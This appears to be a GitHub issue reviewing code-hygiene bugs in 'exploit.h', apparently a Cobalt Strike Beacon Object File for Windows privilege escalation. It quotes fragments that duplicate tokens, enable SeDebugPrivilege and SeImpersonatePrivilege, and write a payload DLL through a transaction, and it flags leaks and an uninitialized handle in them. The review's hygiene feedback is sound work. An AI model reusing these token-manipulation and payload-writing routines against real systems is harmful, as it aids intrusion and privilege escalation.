Some code correctness issues in exploit.h
These are hygiene issues. Some of these are low priority and edge cases.
An OUT param is written to before the function succeeds leading to an edge case where memory is leaked if the function fails.
BOOL TokenGetSid(HANDLE hToken, PSID* ppSid) {
BOOL bReturnValue = TRUE;
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
if ( !sFunctionPointerStruct.StructGetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize) ) {
if ( sFunctionPointerStruct.StructGetLastError() != ERROR_INSUFFICIENT_BUFFER ) {
BeaconPrintf(CALLBACK_ERROR, "We received an unexpected value from TokenGetSid's GetTokenInformation in utils.h.\n");
goto end;
}
}
// Second call to populate
pTokenUser = (PTOKEN_USER)sFunctionPointerStruct.StructLocalAlloc(LPTR, dwSize);
if (!pTokenUser) {
goto end;
}
if ( !sFunctionPointerStruct.StructGetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize) ) {
BeaconPrintf(CALLBACK_ERROR, "We received an unexpected value from TokenGetSid's GetTokenInformation in utils.h.\n");
goto end;
}
*ppSid = (PSID)sFunctionPointerStruct.StructLocalAlloc(LPTR, SECURITY_MAX_SID_SIZE);
if (!*ppSid) {
BeaconPrintf(CALLBACK_ERROR, "Error in setting dereferenced value in utils.h TokenGetSid ppsid.\n");
goto end;
}
if ( !sFunctionPointerStruct.StructCopySid(SECURITY_MAX_SID_SIZE, *ppSid, pTokenUser->User.Sid) ) {
BeaconPrintf(CALLBACK_ERROR, "Error in setting copying SID in utils.h TokenGetSid ppsid.\n");
goto end;
! bReturnValue is FALSE but OUT param *ppSid contains allocated memory which will be leaked in this case because the caller won't free it since the function failed
}See
Edge case leak if allocation fails
BOOL TokenCompareSids(PSID pSidA, PSID pSidB) {
BOOL bReturnValue = FALSE;
LPWSTR pwszSidA = NULL;
LPWSTR pwszSidB = NULL;
if ( sFunctionPointerStruct.StructConvertSidToStringSidW(pSidA, &pwszSidA) && sFunctionPointerStruct.StructConvertSidToStringSidW(pSidB, &pwszSidB) ) {
bReturnValue = MSVCRT$_wcsicmp(pwszSidA, pwszSidB) == 0;
sFunctionPointerStruct.StructLocalFree(pwszSidA);
sFunctionPointerStruct.StructLocalFree(pwszSidB);
} else {
! it's possible one of the calls to sFunctionPointerStruct.StructConvertSidToStringSidW failed and this branch will leak the Sid for the success case
BeaconPrintf(CALLBACK_ERROR, "We have encountered an error in TokenCompareSids within utils.h: 0x%08x\n", sFunctionPointerStruct.StructGetLastError());
}
return bReturnValue;
}See:
|
if ( sFunctionPointerStruct.StructConvertSidToStringSidW(pSidA, &pwszSidA) && sFunctionPointerStruct.StructConvertSidToStringSidW(pSidB, &pwszSidB) ) { |
There is another case here:
if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))
|
if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername)) |
Consider calling ADVAPI32!IsTokenRestricted instead of rolling your own function here:
BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted) {
...
See
|
BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted) { |
Fail to check if memory was successfully allocated for guid
Check for failed allocation from MiscGenerateGuidString
MiscGenerateGuidString(&pwszGuid);
|
MiscGenerateGuidString(&pwszGuid); |
Leak of token
if (bCurrentUserIsSystem) {
if ( !sFunctionPointerStruct.StructOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken) ) {
BeaconPrintf(CALLBACK_ERROR, "Failed to open process token in stage 6. Exiting.\n");
goto end;
}
} else {
if ( !sFunctionPointerStruct.StructOpenThreadToken(sFunctionPointerStruct.StructGetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken) ) {
BeaconPrintf(CALLBACK_ERROR, "Failed to open thread token in stage 6. Exiting.\n");
goto end;
}
}
if ( !TokenCheckPrivilege(hCurrentToken, L"SeAssignPrimaryTokenPrivilege", TRUE) ) {
BeaconPrintf(CALLBACK_ERROR, "Failed to alter token (SeAssignPrimaryTokenPrivilege) in stage 6. Exiting.\n");
goto end;
} else {
BeaconPrintf(CALLBACK_OUTPUT, "Successfully assigned SeAssignPrimaryTokenPrivilege.\n");
}
if ( !sFunctionPointerStruct.StructDuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken) ) {
BeaconPrintf(CALLBACK_ERROR, "Failed DuplicateTokenEx call in stage 6. Exiting.\n");
goto end;
} else {
BeaconPrintf(CALLBACK_OUTPUT, "Successfully duplicated token.\n");
}
! No call to CloseHandle on hCurrentToken
|
if ( !sFunctionPointerStruct.StructOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken) ) { |
possible wild NtClose call on hProcessToken in EnableRequisitePrivileges
BOOL EnableRequisitePrivileges(void) {
NTSTATUS judgement;
DWORD dwFailCount = 0;
HANDLE hProcessToken; <<<<<<<<<<<<<<<<< not initialized to NULL
HANDLE hTargetProcess = NULL;
BOOL bIsSystem = FALSE;
DWORD dwProcessId = 0;
DWORD dwProcessProtectionLevel = 0;
LPWSTR pwszProcessProtectionName = NULL;
DWORD dwProcessIntegrityLevel = 0;
LPCWSTR ppwszRequiredPrivileges[2] = { L"SeDebugPrivilege", L"SeImpersonatePrivilege" };
judgement = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken);
if (judgement != STATUS_SUCCESS) {
dwFailCount++;
BeaconPrintf(CALLBACK_OUTPUT, "Error in ascertaining current user token.\n");
! NtClose(hProcessToken); <<<<<< if NtOpenProcessToken fails, hProcessToken won't be written to. This results in a wild close on hProcessToken because it was not initialized
return FALSE;
Handle of hTransaction leaked in WritePayloadDllTransacted
No call to CloseHandle for hTransaction
|
status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL); |
FindFileForTransaction leaks memory for pSidTarget
Need a call to sFunctionPointerStruct.StructLocalFree(pTargetSid); at cleanup in FindFileForTransaction
|
sFunctionPointerStruct.StructConvertStringSidToSidW(L"S-1-5-18", &pSidTarget); |
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent